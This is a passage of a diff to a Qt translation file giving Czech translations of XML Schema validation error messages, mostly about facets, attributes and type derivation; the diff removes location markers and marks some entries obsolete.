<translation>Stránka %1 obsahuje neplatnou hodnotu %2: %3.</translation>
</message>
<message>
- <location line="+22"/>
<source>%1 facet cannot be %2 or %3 if %4 facet of base type is %5.</source>
<translation>Stránka %1 nesmí být %2 nebo %3, pokud je stránka %4 základního typu %5.</translation>
</message>
<message>
- <location line="+11"/>
<source>%1 facet cannot be %2 if %3 facet of base type is %4.</source>
<translation>Stránka %1 nesmí být %2, pokud je stránka %3 základního typu %4.</translation>
</message>
<message>
- <location line="+20"/>
- <location line="+55"/>
- <location line="+230"/>
<source>%1 facet must be less than or equal to %2 facet.</source>
<translation>Stránka %1 musí být menší nebo stejná jako stránka %2.</translation>
</message>
<message>
- <location line="-257"/>
- <location line="+134"/>
- <location line="+82"/>
<source>%1 facet must be less than %2 facet of base type.</source>
<translation>Stránka %1 musí být menší než stránka %2 základního typu.</translation>
</message>
<message>
- <location line="-201"/>
- <location line="+79"/>
<source>%1 facet and %2 facet cannot appear together.</source>
<translation>Stránky %1 a %2 se nemohou objevit spolu.</translation>
</message>
<message>
- <location line="-27"/>
- <location line="+12"/>
- <location line="+113"/>
<source>%1 facet must be greater than %2 facet of base type.</source>
<translation>Stránka %1 musí být větší než stránka %2 základního typu.</translation>
</message>
<message>
- <location line="-86"/>
- <location line="+58"/>
<source>%1 facet must be less than %2 facet.</source>
<translation>Stránka %1 musí být menší než stránka %2.</translation>
</message>
<message>
- <location line="-42"/>
- <location line="+58"/>
<source>%1 facet must be greater than or equal to %2 facet of base type.</source>
<translation>Stránka %1 musí být větší nebo stejná jako stránka %2 základního typu.</translation>
</message>
<message>
- <location line="+113"/>
<source>Simple type contains not allowed facet %1.</source>
<translation>Jednoduchý typ obsahuje nedovolenou stránku %1.</translation>
</message>
<message>
- <location line="+12"/>
<source>%1, %2, %3, %4, %5 and %6 facets are not allowed when derived by list.</source>
<translation>Stránky %1, %2, %3, %4, %5 a %6 nejsou při odvození (dědičnosti) pomocí seznamu dovoleny.</translation>
</message>
<message>
- <location line="+16"/>
<source>Only %1 and %2 facets are allowed when derived by union.</source>
<translation>Při odvození (dědičnosti) pomocí sjednocení jsou dovoleny pouze stránky %1 a %2.</translation>
</message>
<message>
- <location line="+23"/>
- <location line="+16"/>
<source>%1 contains %2 facet with invalid data: %3.</source>
<translation>%1 obsahuje stránku %2 s neplatnými daty: %3.</translation>
</message>
<message>
- <location line="+24"/>
<source>Attribute group %1 contains attribute %2 twice.</source>
<translation>Skupina vlastností %1 obsahuje vlastnost %2 dvakrát.</translation>
</message>
<message>
- <location line="+9"/>
<source>Attribute group %1 contains two different attributes that both have types derived from %2.</source>
<translation>Skupina vlastností %1 obsahuje dvě rozdílné vlastnosti, obě s typy, které jsou odvozeny z %2.</translation>
</message>
<message>
- <location line="+8"/>
<source>Attribute group %1 contains attribute %2 that has value constraint but type that inherits from %3.</source>
<translation>Skupina vlastností %1 obsahuje vlastnost %2 s omezením hodnoty, typ je ale odvozen z %3.</translation>
</message>
<message>
- <location line="+23"/>
<source>Complex type %1 contains attribute %2 twice.</source>
<translation>Složitý typ %1 obsahuje vlastnost %2 dvakrát.</translation>
</message>
<message>
- <location line="+9"/>
<source>Complex type %1 contains two different attributes that both have types derived from %2.</source>
<translation>Složitý typ %1 obsahuje dvě rozdílné vlastnosti, obě s typy, které jsou odvozeny z %2.</translation>
</message>
<message>
- <location line="+8"/>
<source>Complex type %1 contains attribute %2 that has value constraint but type that inherits from %3.</source>
<translation>Složitý typ %1 obsahuje vlastnost %2 s omezením hodnoty, typ je ale odvozen z %3.</translation>
</message>
<message>
- <location line="+43"/>
<source>Element %1 is not allowed to have a value constraint if its base type is complex.</source>
<translation>Prvek %1 nesmí mít omezení hodnoty, když je základní typ složitý.</translation>
</message>
<message>
- <location line="+7"/>
<source>Element %1 is not allowed to have a value constraint if its type is derived from %2.</source>
<translation>Prvek %1 nesmí mít omezení hodnoty, když je jeho typ odvozen z %2.</translation>
</message>
<message>
- <location line="+10"/>
- <location line="+11"/>
<source>Value constraint of element %1 is not of elements type: %2.</source>
<translation>Omezení hodnoty prvku %1 není z typu prvku: %2.</translation>
</message>
<message>
- <location line="+13"/>
<source>Element %1 is not allowed to have substitution group affiliation as it is no global element.</source>
<translation>Prvek %1 nesmí patřit k skupině nahrazení, neboť není celkovým prvkem.</translation>
</message>
<message>
- <location line="+28"/>
<source>Type of element %1 cannot be derived from type of substitution group affiliation.</source>
<translation>Typ prvku %1 nemůže být odvozen z typu příslušné skupiny nahrazení.</translation>
</message>
<message>
- <location line="+41"/>
<source>Value constraint of attribute %1 is not of attributes type: %2.</source>
<translation>Omezení hodnoty vlastnosti %1 není z typu vlastnosti: %2.</translation>
</message>
<message>
- <location line="+9"/>
<source>Attribute %1 has value constraint but has type derived from %2.</source>
<translation>Vlastnost %1 má mezení hodnoty, ale její typ je odvozen z %2.</translation>
</message>
<message>
- <location line="+56"/>
<source>%1 attribute in derived complex type must be %2 like in base type.</source>
<translation>Vlastnost %1 v odvozeném složitém typu musí být jako v základním typu %2.</translation>
</message>
<message>
- <location line="+11"/>
<source>Attribute %1 in derived complex type must have %2 value constraint like in base type.</source>
<translation>Vlastnost %1 v odvozeném složitém typu musí mít omezení hodnoty jako v základním typu %2.</translation>
</message>
<message>
- <location line="+9"/>
<source>Attribute %1 in derived complex type must have the same %2 value constraint like in base type.</source>
<translation>Vlastnost %1 v odvozeném složitém typu musí mít stejné omezení hodnoty %2 jako v základním typu.</translation>
</message>
<message>
- <location line="+7"/>
<source>Attribute %1 in derived complex type must have %2 value constraint.</source>
<translation>Vlastnost %1 v odvozeném složitém typu musí omezení hodnoty %2.</translation>
</message>
<message>
- <location line="+18"/>
<source>processContent of base wildcard must be weaker than derived wildcard.</source>
<translation>Vlastnost &apos;processContent&apos; základního zástupného symbolu (vzor hledání) musí být slabší než odvozený zástupný symbol (vzor hledání).</translation>
</message>
<message>
- <location line="+39"/>
- <location line="+15"/>
<source>Element %1 exists twice with different types.</source>
<translation>Prvek %1 existuje dvakrát s rozdílnými typy.</translation>
</message>
<message>
- <location line="+28"/>
<source>Particle contains non-deterministic wildcards.</source>
<translation>Částice obsahuje ne-neměnné zástupné symboly (vzory hledání).</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/schema/qxsdschemahelper.cpp" line="+691"/>
- <location line="+63"/>
<source>Base attribute %1 is required but derived attribute is not.</source>
<translation>Základní vlastnost %1 je vyžadována, ale odvozená vlastnost není.</translation>
</message>
<message>
- <location line="-57"/>
<source>Type of derived attribute %1 cannot be validly derived from type of base attribute.</source>
<translation>Typ odvozené vlastnosti %1 nemůže být platně odvozen z typu základní vlastnosti.</translation>
</message>
<message>
- <location line="+28"/>
<source>Value constraint of derived attribute %1 does not match value constraint of base attribute.</source>
<translation>Omezení hodnoty odvozené vlastnosti %1 neodpovídá omezení hodnoty základní vlastnosti.</translation>
</message>
<message>
- <location line="+5"/>
<source>Derived attribute %1 does not exists in the base definition.</source>
+ <translation type="obsolete">Odvozená vlastnost %1 neexistuje v základním vymezení.</translation>
+ </message>
+ <message>
+ <source>Derived attribute %1 does not exist in the base definition.</source>
<translation>Odvozená vlastnost %1 neexistuje v základním vymezení.</translation>
</message>
<message>
- <location line="+11"/>
<source>Derived attribute %1 does not match the wildcard in the base definition.</source>
<translation>Odvozená vlastnost %1 neodpovídá zástupnému symbolu (vzoru hledání) v základním vymezení.</translation>
</message>
<message>
- <location line="+17"/>
<source>Base attribute %1 is required but missing in derived definition.</source>
<translation>Základní vlastnost %1 je vyžadována, ale chybí v odvozeném vymezení.</translation>
</message>
<message>
- <location line="+9"/>
<source>Derived definition contains an %1 element that does not exists in the base definition</source>
<translation>Odvozené vymezení obsahuje prvek %1, který v základním vymezení neexistuje</translation>
</message>
<message>
- <location line="+5"/>
<source>Derived wildcard is not a subset of the base wildcard.</source>
<translation>Odvozený zástupný symbol (vzor hledání) není žádnou dílčí množinou základního zástupného symbolu (vzoru hledání).</translation>
</message>
<message>
- <location line="+5"/>
<source>%1 of derived wildcard is not a valid restriction of %2 of base wildcard</source>
<translation>Vlastnost %1 odvozeného zástupného symbolu (vzoru hledání) není platným omezením %2 základního zástupného symbolu (vzoru hledání)</translation>
</message>
<message>
- <location line="+23"/>
<source>Attribute %1 from base type is missing in derived type.</source>
<translation>Vlastnost %1 základního typu chybí v odvozeném typu.</translation>
</message>
<message>
- <location line="+5"/>
<source>Type of derived attribute %1 differs from type of base attribute.</source>
<translation>Typ odvozené vlastnosti %1 se liší od typu základní vlastnosti.</translation>
</message>
<message>
- <location line="+8"/>
<source>Base definition contains an %1 element that is missing in the derived definition</source>
<translation>Základní vymezení obsahuje prvek %1, který v odvozeném vymezení chybí</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/schema/qxsdschemaparser.cpp" line="+170"/>
<source>Can not process unknown element %1, expected elements are: %2.</source>
<translation>Nelze zpracovat neznámý prvek %1, očekávanými prvky jsou: %2.</translation>
</message>
<message>
- <location line="+13"/>
<source>Element %1 is not allowed in this scope, possible elements are: %2.</source>
<translation>Prvek %1 není v této oblasti dovolen; možnými prvky jsou: %2.</translation>
</message>
<message>
- <location line="+16"/>
<source>Child element is missing in that scope, possible child elements are: %1.</source>
<translation>Podprvek v oblasti chybí; možnými podprvky jsou: %1.</translation>
</message>
<message>
- <location line="+127"/>
<source>Document is not a XML schema.</source>
<translation>Dokument není schématem XML.</translation>
</message>
<message>
- <location line="+22"/>
<source>%1 attribute of %2 element contains invalid content: {%3} is not a value of type %4.</source>
<translation>Vlastnost %1 prvku %2 obsahuje neplatný obsah: {%3} není hodnotou typu %4.</translation>
</message>
<message>
- <location line="+6"/>
<source>%1 attribute of %2 element contains invalid content: {%3}.</source>
<translation>Vlastnost %1 prvku %2 obsahuje neplatný obsah: {%3}.</translation>
</message>
<message>
- <location line="+26"/>
<source>Target namespace %1 of included schema is different from the target namespace %2 as defined by the including schema.</source>
<translation>Cílový jmenný prostor %1 zahrnutého schématu se liší od jím vymezeného cílového jmenného prostoru %2.</translation>
</message>
<message>
- <location line="+14"/>
- <location line="+11"/>
<source>Target namespace %1 of imported schema is different from the target namespace %2 as defined by the importing schema.</source>
<translation>Cílový jmenný prostor %1 zavedeného schématu se liší od jím vymezeného cílového jmenného prostoru %2.</translation>
</message>
<message>
- <location line="+237"/>
<source>%1 element is not allowed to have the same %2 attribute value as the target namespace %3.</source>
<translation>Prvek %1 nemůže stanovit cílový jmenný prostor %3 jako hodnotu vlastnosti %2.</translation>
</message>
<message>
- <location line="+8"/>
<source>%1 element without %2 attribute is not allowed inside schema without target namespace.</source>
<translation>Ve schématu bez jmenného prostoru musí mít prvek %1 vlastnost %2.</translation>
</message>
<message>
- <location line="+833"/>
- <location line="+158"/>
<source>%1 element is not allowed inside %2 element if %3 attribute is present.</source>
<translation>Když je přítomna vlastnost %3, nesmí se vyskytovat prvek %1 v prvku %2.</translation>
</message>
<message>
- <location line="-97"/>
- <location line="+119"/>
- <location line="+92"/>
<source>%1 element has neither %2 attribute nor %3 child element.</source>
<translation>Prvek %1 nemá ani vlastnost %2 ani podprvek %3.</translation>
</message>
<message>
- <location line="+835"/>
- <location line="+1474"/>
- <location line="+232"/>
- <location line="+7"/>
- <location line="+260"/>
- <location line="+17"/>
- <location line="+258"/>
- <location line="+6"/>
- <location line="+17"/>
- <location line="+6"/>
- <location line="+17"/>
- <location line="+11"/>
- <location line="+11"/>
- <location line="+11"/>
<source>%1 element with %2 child element must not have a %3 attribute.</source>
<translation>Prvek %1 nesmí mít vlastnost %3, když existuje podprvek %2.</translation>
</message>
<message>
- <location line="-1325"/>
<source>%1 attribute of %2 element must be %3 or %4.</source>
<translation>Vlastnost %1 prvku %2 může být jen %3 nebo %4.</translation>
</message>
<message>
- <location line="+36"/>
<source>%1 attribute of %2 element must have a value of %3.</source>
<translation>Vlastnost %1 prvku %2 musí mít hodnotu %3.</translation>
</message>
<message>
- <location line="+7"/>
- <location line="+34"/>
<source>%1 attribute of %2 element must have a value of %3 or %4.</source>
<translation>Vlastnost %1 prvku %2 může mít jen jednu z hodnot %3 nebo %4.</translation>
</message>
<message>
- <location line="+319"/>
- <location line="+129"/>
- <location line="+9"/>
- <location line="+7"/>
- <location line="+7"/>
- <location line="+327"/>
- <location line="+203"/>
- <location line="+6"/>
- <location line="+6"/>
- <location line="+6"/>
- <location line="+6"/>
- <location line="+6"/>
- <location line="+6"/>
- <location line="+77"/>
<source>%1 element must not have %2 and %3 attribute together.</source>
<translation>Vlastnosti %2 a %3 se v prvku %1 nemohou objevit společně.</translation>
</message>
<message>
- <location line="-768"/>
- <location line="+222"/>
<source>Content of %1 attribute of %2 element must not be from namespace %3.</source>
<translation>Obsah vlastnosti %1 prvku %2 nemůže pocházet ze jmenného prostoru %3.</translation>
</message>
<message>
- <location line="-215"/>
- <location line="+222"/>
<source>%1 attribute of %2 element must not be %3.</source>
<translation>Vlastnost %1 prvku %2 nemůže být %3.</translation>
</message>
<message>
- <location line="-64"/>
<source>%1 attribute of %2 element must have the value %3 because the %4 attribute is set.</source>
<translation>Vlastnost %1 prvku %2 musí mít hodnotu %3, protože je nastavena vlastnost %4.</translation>
</message>
<message>
- <location line="+187"/>
<source>Specifying use=&apos;prohibited&apos; inside an attribute group has no effect.</source>
<translation>Zadání use=&apos;prohibited&apos; ve skupině vlastností nemá naprosto žádný účinek.</translation>
</message>
<message>
- <location line="+353"/>
<source>%1 element must have either %2 or %3 attribute.</source>
<translation>Prvek %1 musí mít buď vlastnost %2 nebo %3.</translation>
</message>
<message>
- <location line="+554"/>
<source>%1 element must have either %2 attribute or %3 or %4 as child element.</source>
<translation>Prvek %1 musí mít buď vlastnost %2, nebo mít %3 nebo %4 jako podprvek.</translation>
</message>
<message>
- <location line="+55"/>
<source>%1 element requires either %2 or %3 attribute.</source>
<translation>Prvek %1 vyžaduje buď vlastnost %2 nebo %3.</translation>
</message>
<message>
- <location line="+19"/>
<source>Text or entity references not allowed inside %1 element</source>
<translation>Text nebo odkazy na entitu nejsou v prvku %1 dovoleny</translation>
</message>
<message>
- <location line="+41"/>
- <location line="+112"/>
<source>%1 attribute of %2 element must contain %3, %4 or a list of URIs.</source>
<translation>Vlastnost %1 prvku %2 musí obsahovat %3, %4 nebo seznam adres (URL).</translation>
</message>
<message>
- <location line="+126"/>
<source>%1 element is not allowed in this context.</source>
<translation>Prvek %1 není v této souvislosti dovolen.</translation>
</message>
<message>
- <location line="+53"/>
<source>%1 attribute of %2 element has larger value than %3 attribute.</source>
<translation>Hodnota vlastnosti %1 prvku %2 je větší než hodnota vlastnosti %3.</translation>
</message>
<message>
- <location line="+25"/>
<source>Prefix of qualified name %1 is not defined.</source>
<translation>Předpona způsobilého názvu %1 není stanovena.</translation>
</message>
<message>
- <location line="+65"/>
- <location line="+61"/>
<source>%1 attribute of %2 element must either contain %3 or the other values.</source>
<translation>Hodnota vlastnosti %1 prvku %2 musí obsahovat buď %3 nebo jiné hodnoty.</translation>
</message>
<message>
- <location line="+131"/>
- <source>Component with id %1 has been defined previously.</source>
+ <source>Component with ID %1 has been defined previously.</source>
<translation>Součást s ID %1 je již stanovena.</translation>
</message>
<message>
- <location line="+17"/>
+ <source>Component with id %1 has been defined previously.</source>
+ <translation type="obsolete">Součást s ID %1 je již stanovena.</translation>
+ </message>
+ <message>
<source>Element %1 already defined.</source>
<translation>Prvek %1 je již stanoven.</translation>
</message>
<message>
- <location line="+11"/>
<source>Attribute %1 already defined.</source>
<translation>Vlastnost %1 je již stanovena.</translation>
</message>
<message>
- <location line="+15"/>
<source>Type %1 already defined.</source>
<translation>Typ %1 je již stanoven.</translation>
</message>
<message>
- <location line="+23"/>
<source>Attribute group %1 already defined.</source>
<translation>Skupina vlastností %1 je již stanovena.</translation>
</message>
<message>
- <location line="+11"/>
<source>Element group %1 already defined.</source>
<translation>Skupina prvků %1 je již stanovena.</translation>
</message>
<message>
- <location line="+11"/>
<source>Notation %1 already defined.</source>
<translation>Zápis %1 je již stanoven.</translation>
</message>
<message>
- <location line="+11"/>
<source>Identity constraint %1 already defined.</source>
<translation>Omezení totožnosti %1 je již stanoveno.</translation>
</message>
<message>
- <location line="+11"/>
<source>Duplicated facets in simple type %1.</source>
<translation>Zdvojené stránky v jednoduchém typu %1.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/schema/qxsdschemaresolver.cpp" line="+354"/>
<source>%1 references unknown %2 or %3 element %4.</source>
<translation>%1 odkazuje na neznámý prvek %4 (%2 nebo %3).</translation>
</message>
<message>
- <location line="+10"/>
<source>%1 references identity constraint %2 that is no %3 or %4 element.</source>
<translation>%1 odkazuje na omezení totožnosti %2, které není ani prvek &apos;%3&apos; ani &apos;%4&apos;.</translation>
</message>
<message>
- <location line="+10"/>
<source>%1 has a different number of fields from the identity constraint %2 that it references.</source>
<translation>U %1 se liší počet polí od omezení totožnosti %2, na kterou odkazuje.</translation>
</message>
<message>
- <location line="+23"/>
<source>Base type %1 of %2 element cannot be resolved.</source>
<translation>Základní typ %1 prvku %2 nemůže být vyřešen.</translation>
</message>
<message>
- <location line="+84"/>
<source>Item type %1 of %2 element cannot be resolved.</source>
<translation>Složkový typ %1 prvku %2 nemůže být vyřešen.</translation>
</message>
<message>
- <location line="+31"/>
<source>Member type %1 of %2 element cannot be resolved.</source>
<translation>Členský typ %1 prvku %2 nemůže být vyřešen.</translation>
</message>
<message>
- <location line="+28"/>
- <location line="+408"/>
- <location line="+30"/>
<source>Type %1 of %2 element cannot be resolved.</source>
<translation>Typ %1 prvku %2 nemůže být vyřešen.</translation>
</message>
<message>
- <location line="-416"/>
<source>Base type %1 of complex type cannot be resolved.</source>
<translation>Základní typ %1 složitého typu nemůže být vyřešen.</translation>
</message>
<message>
- <location line="+9"/>
<source>%1 cannot have complex base type that has a %2.</source>
<translation>%1 nelze mít žádný složitý základní typ, který má %2.</translation>
</message>
<message>
- <location line="+279"/>
<source>Content model of complex type %1 contains %2 element so it cannot be derived by extension from a non-empty type.</source>
<translation>Model obsahu složitého typu %1 obsahuje prvek %2; nelze jej proto odvodit pomocí rozšíření z ne-prázdného typu.</translation>
</message>
<message>
- <location line="+6"/>
<source>Complex type %1 cannot be derived by extension from %2 as the latter contains %3 element in its content model.</source>
<translation>Složitý typ %1 nemůže být odvozen pomocí rozšíření z %2, neboť poslední obsahuje prvek &apos;%3&apos; ve svém modelu obsahu.</translation>
</message>
<message>
- <location line="+101"/>
<source>Type of %1 element must be a simple type, %2 is not.</source>
<translation>Typ prvku %1 musí být jednoduchým prvkem, což %2 není.</translation>
</message>
<message>
- <location line="+62"/>
<source>Substitution group %1 of %2 element cannot be resolved.</source>
<translation>Skupina nahrazení %1 prvku %2 nemůže být vyřešena.</translation>
</message>
<message>
- <location line="+9"/>
<source>Substitution group %1 has circular definition.</source>
<translation>Skupina nahrazení %1 má v kruzích prováděné vymezení.</translation>
</message>
<message>
- <location line="+120"/>
- <location line="+7"/>
<source>Duplicated element names %1 in %2 element.</source>
<translation>Název prvku %1 se vyskytuje v prvku %2 vícekrát.</translation>
</message>
<message>
- <location line="+29"/>
- <location line="+52"/>
- <location line="+71"/>
- <location line="+28"/>
<source>Reference %1 of %2 element cannot be resolved.</source>
<translation>Odkaz %1 prvku %2 nemůže být vyřešen.</translation>
</message>
<message>
- <location line="-138"/>
<source>Circular group reference for %1.</source>
<translation>V kruzích prováděný skupinový odkaz pro %1.</translation>
</message>
<message>
- <location line="+16"/>
<source>%1 element is not allowed in this scope</source>
<translation>Prvek %1 není v této oblasti dovolen</translation>
</message>
<message>
- <location line="+5"/>
<source>%1 element cannot have %2 attribute with value other than %3.</source>
<translation>Hodnota vlastnosti %2 prvku %1 může být pouze %3.</translation>
</message>
<message>
- <location line="+8"/>
<source>%1 element cannot have %2 attribute with value other than %3 or %4.</source>
<translation>Hodnota vlastnosti %2 prvku %1 může být pouze %3 nebo %4.</translation>
</message>
<message>
- <location line="+91"/>
<source>%1 or %2 attribute of reference %3 does not match with the attribute declaration %4.</source>
<translation>Vlastnost %1 nebo %2 odkazu %3 neodpovídá prohlášení vlastnosti %4.</translation>
</message>
<message>
- <location line="+25"/>
<source>Attribute group %1 has circular reference.</source>
<translation>Skupina vlastnosti %1 má kruzích prováděný odkaz.</translation>
</message>
<message>
- <location line="+131"/>
<source>%1 attribute in %2 must have %3 use like in base type %4.</source>
<translation>Vlastnost %1 v %2 musí mít použití &apos;%3&apos; jako v základním typu %4.</translation>
</message>
<message>
- <location line="+52"/>
<source>Attribute wildcard of %1 is not a valid restriction of attribute wildcard of base type %2.</source>
<translation>Zástupný symbol vlastnosti (vzor hledání) %1není platným omezením zástupného symbolu vlastnosti (vzoru hledání) základního typu %2.</translation>
</message>
<message>
- <location line="+7"/>
<source>%1 has attribute wildcard but its base type %2 has not.</source>
<translation>%1 má zástupný symbol vlastnosti (vzor hledání), ale jeho základní typ %2 nemá.</translation>
</message>
<message>
- <location line="+26"/>
<source>Union of attribute wildcard of type %1 and attribute wildcard of its base type %2 is not expressible.</source>
<translation>Sjednocení zástupného symbolu vlastnosti (vzoru hledání) typu %1 a zástupného symbolu vlastnosti (vzoru hledání) jeho základního typu %2 není vyjádřitelné.</translation>
</message>
<message>
- <location line="+48"/>
<source>Enumeration facet contains invalid content: {%1} is not a value of type %2.</source>
<translation>Výčtová stránka obsahuje neplatný obsah: {%1} není hodnotou typu %2.</translation>
</message>
<message>
- <location line="+10"/>
<source>Namespace prefix of qualified name %1 is not defined.</source>
<translation>Předpona jmenného prostoru způsobilého názvu %1 není stanovena.</translation>
</message>
<message>
- <location line="+51"/>
- <location line="+18"/>
<source>%1 element %2 is not a valid restriction of the %3 element it redefines: %4.</source>
<translation>Prvek %2 (%1) není platným omezením přepisovaného prvku (%3): %4.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/schema/qxsdtypechecker.cpp" line="+233"/>
- <location line="+7"/>
- <location line="+21"/>
<source>%1 is not valid according to %2.</source>
<translation>%1 je podle %2 neplatné.</translation>
</message>
<message>
- <location line="+167"/>
<source>String content does not match the length facet.</source>
<translation>Obsah řetězce znaků neodpovídá stránce délky.</translation>
</message>
<message>
- <location line="+8"/>
<source>String content does not match the minLength facet.</source>
<translation>Obsah řetězce znaků neodpovídá stránce délky (nejmenší údaj, &apos;minLength&apos;).</translation>
</message>
<message>
- <location line="+8"/>
<source>String content does not match the maxLength facet.</source>
<translation>Obsah řetězce znaků neodpovídá stránce délky (největší údaj; &apos;maxLength&apos;).</translation>
</message>
<message>
- <location line="+18"/>
<source>String content does not match pattern facet.</source>
<translation>Obsah řetězce znaků neodpovídá stránce vzoru pro hledání.</translation>
</message>
<message>
- <location line="+18"/>
<source>String content is not listed in the enumeration facet.</source>
<translation>Obsah řetězce znaků není obsažen ve výčtové stránce.</translation>
</message>
<message>
- <location line="+17"/>
<source>Signed integer content does not match the maxInclusive facet.</source>
<translation>Celočíselná hodnota označená znaménkem neodpovídá stránce &apos;maxInclusive&apos;.</translation>
</message>
<message>
- <location line="+8"/>
<source>Signed integer content does not match the maxExclusive facet.</source>
<translation>Celočíselná hodnota označená znaménkem neodpovídá stránce &apos;maxExclusive&apos;.</translation>
</message>
<message>
- <location line="+8"/>
<source>Signed integer content does not match the minInclusive facet.</source>
<translation>Celočíselná hodnota označená znaménkem neodpovídá stránce &apos;minInclusive&apos;.</translation>
</message>
<message>
- <location line="+8"/>
<source>Signed integer content does not match the minExclusive facet.</source>
<translation>Celočíselná hodnota označená znaménkem neodpovídá stránce &apos;minExclusive&apos;.</translation>
</message>
<message>
- <location line="+18"/>
<source>Signed integer content is not listed in the enumeration facet.</source>
<translation>Celočíselná hodnota označená znaménkem není obsažena ve výčtové stránce.</translation>
</message>
<message>
- <location line="+18"/>
<source>Signed integer content does not match pattern facet.</source>
<translation>Celočíselná hodnota označená znaménkem neodpovídá stránce vzoru pro hledání.</translation>
</message>
<message>
- <location line="+9"/>
<source>Signed integer content does not match in the totalDigits facet.</source>
<translation>Celočíselná hodnota označená znaménkem neodpovídá stránce &apos;totalDigits&apos;.</translation>
</message>
<message>
- <location line="+17"/>
<source>Unsigned integer content does not match the maxInclusive facet.</source>
<translation>Celočíselná hodnota jsoucí bez znaménka neodpovídá stránce &apos;maxInclusive&apos;.</translation>
</message>
<message>
- <location line="+8"/>
<source>Unsigned integer content does not match the maxExclusive facet.</source>
<translation>Celočíselná hodnota jsoucí bez znaménka neodpovídá stránce &apos;maxExclusive&apos;.</translation>
</message>
<message>
- <location line="+8"/>
<source>Unsigned integer content does not match the minInclusive facet.</source>
<translation>Celočíselná hodnota jsoucí bez znaménka neodpovídá stránce &apos;minInclusive&apos;.</translation>
</message>
<message>
- <location line="+8"/>
<source>Unsigned integer content does not match the minExclusive facet.</source>
<translation>Celočíselná hodnota jsoucí bez znaménka neodpovídá stránce &apos;minExclusive&apos;.</translation>
</message>
<message>
- <location line="+18"/>
<source>Unsigned integer content is not listed in the enumeration facet.</source>
<translation>Celočíselná hodnota jsoucí bez znaménka není obsažena ve výčtové stránce.</translation>
</message>
<message>
- <location line="+18"/>
<source>Unsigned integer content does not match pattern facet.</source>
<translation>Celočíselná hodnota jsoucí bez znaménka neodpovídá stránce vzoru pro hledání.</translation>
</message>
<message>
- <location line="+9"/>
<source>Unsigned integer content does not match in the totalDigits facet.</source>
<translation>Celočíselná hodnota jsoucí bez znaménka neodpovídá stránce &apos;totalDigits&apos;.</translation>
</message>
<message>
- <location line="+17"/>
<source>Double content does not match the maxInclusive facet.</source>
<translation>Číslo s pohyblivou čárkou neodpovídá stránce &apos;maxInclusive&apos;.</translation>
</message>
<message>
- <location line="+8"/>
<source>Double content does not match the maxExclusive facet.</source>
<translation>Číslo s pohyblivou čárkou neodpovídá stránce &apos;maxExclusive&apos;.</translation>
</message>
<message>
- <location line="+8"/>
<source>Double content does not match the minInclusive facet.</source>
<translation>Číslo s pohyblivou čárkou neodpovídá stránce &apos;minInclusive&apos;.</translation>
</message>
<message>
- <location line="+8"/>
<source>Double content does not match the minExclusive facet.</source>
<translation>Číslo s pohyblivou čárkou neodpovídá stránce &apos;minExclusive&apos;.</translation>
</message>
<message>
- <location line="+18"/>
<source>Double content is not listed in the enumeration facet.</source>
<translation>Číslo s pohyblivou čárkou není obsaženo ve výčtové stránce.</translation>
</message>
<message>
- <location line="+18"/>
<source>Double content does not match pattern facet.</source>
<translation>Číslo s pohyblivou čárkou neodpovídá stránce vzoru pro hledání.</translation>
</message>
<message>
- <location line="+18"/>
<source>Decimal content does not match in the fractionDigits facet.</source>
<translation>Desetinné číslo neodpovídá stránce &apos;fractionDigits&apos;.</translation>
</message>
<message>
- <location line="+9"/>
<source>Decimal content does not match in the totalDigits facet.</source>
<translation>Desetinné číslo neodpovídá stránce &apos;totalDigits&apos;.</translation>
</message>
<message>
- <location line="+14"/>
<source>Date time content does not match the maxInclusive facet.</source>
<translation>Údaj o datu neodpovídá stránce &apos;maxInclusive&apos;.</translation>
</message>
<message>
- <location line="+8"/>
<source>Date time content does not match the maxExclusive facet.</source>
<translation>Údaj o datu neodpovídá stránce &apos;maxExclusive&apos;.</translation>
</message>
<message>
- <location line="+8"/>
<source>Date time content does not match the minInclusive facet.</source>
<translation>Údaj o datu neodpovídá stránce &apos;minInclusive&apos;.</translation>
</message>
<message>
- <location line="+8"/>
<source>Date time content does not match the minExclusive facet.</source>
<translation>Údaj o datu neodpovídá stránce &apos;minExclusive&apos;.</translation>
</message>
<message>
- <location line="+18"/>
<source>Date time content is not listed in the enumeration facet.</source>
<translation>Údaj o datu není obsažen ve výčtové stránce.</translation>
</message>
<message>
- <location line="+18"/>
<source>Date time content does not match pattern facet.</source>
<translation>Údaj o datu neodpovídá stránce vzoru pro hledání.</translation>
</message>
<message>
- <location line="+15"/>
<source>Duration content does not match the maxInclusive facet.</source>
<translation>Údaj o době trvání neodpovídá stránce &apos;maxInclusive&apos;.</translation>
</message>
<message>
- <location line="+9"/>
<source>Duration content does not match the maxExclusive facet.</source>
<translation>Údaj o době trvání neodpovídá stránce &apos;maxExclusive&apos;.</translation>
</message>
<message>
- <location line="+9"/>
<source>Duration content does not match the minInclusive facet.</source>
<translation>Údaj o době trvání neodpovídá stránce &apos;minInclusive&apos;.</translation>
</message>
<message>
- <location line="+9"/>
<source>Duration content does not match the minExclusive facet.</source>
<translation>Údaj o době trvání neodpovídá stránce &apos;minExclusive&apos;.</translation>
</message>
<message>
- <location line="+18"/>
<source>Duration content is not listed in the enumeration facet.</source>
<translation>Údaj o době trvání není obsažen ve výčtové stránce.</translation>
</message>
<message>
- <location line="+18"/>
<source>Duration content does not match pattern facet.</source>
<translation>Údaj o době trvání neodpovídá stránce vzoru pro hledání.</translation>
</message>
<message>
- <location line="+27"/>
<source>Boolean content does not match pattern facet.</source>
<translation>Booleánská hodnota neodpovídá stránce vzoru pro hledání.</translation>
</message>
<message>
- <location line="+17"/>
<source>Binary content does not match the length facet.</source>
<translation>Binární obsah neodpovídá stránce délky.</translation>
</message>
<message>
- <location line="+8"/>
<source>Binary content does not match the minLength facet.</source>
<translation>Binární obsah neodpovídá stránce &apos;minLength&apos;.</translation>
</message>
<message>
- <location line="+8"/>
<source>Binary content does not match the maxLength facet.</source>
<translation>Binární obsah neodpovídá stránce &apos;maxLength&apos;.</translation>
</message>
<message>
- <location line="+18"/>
<source>Binary content is not listed in the enumeration facet.</source>
<translation>Binární obsah není obsažen ve výčtové stránce.</translation>
</message>
<message>
- <location line="+27"/>
<source>Invalid QName content: %1.</source>
<translation>Obsah způsobilého názvu (&apos;QName&apos;) je neplatný: %1.</translation>
</message>
<message>
- <location line="+17"/>
<source>QName content is not listed in the enumeration facet.</source>
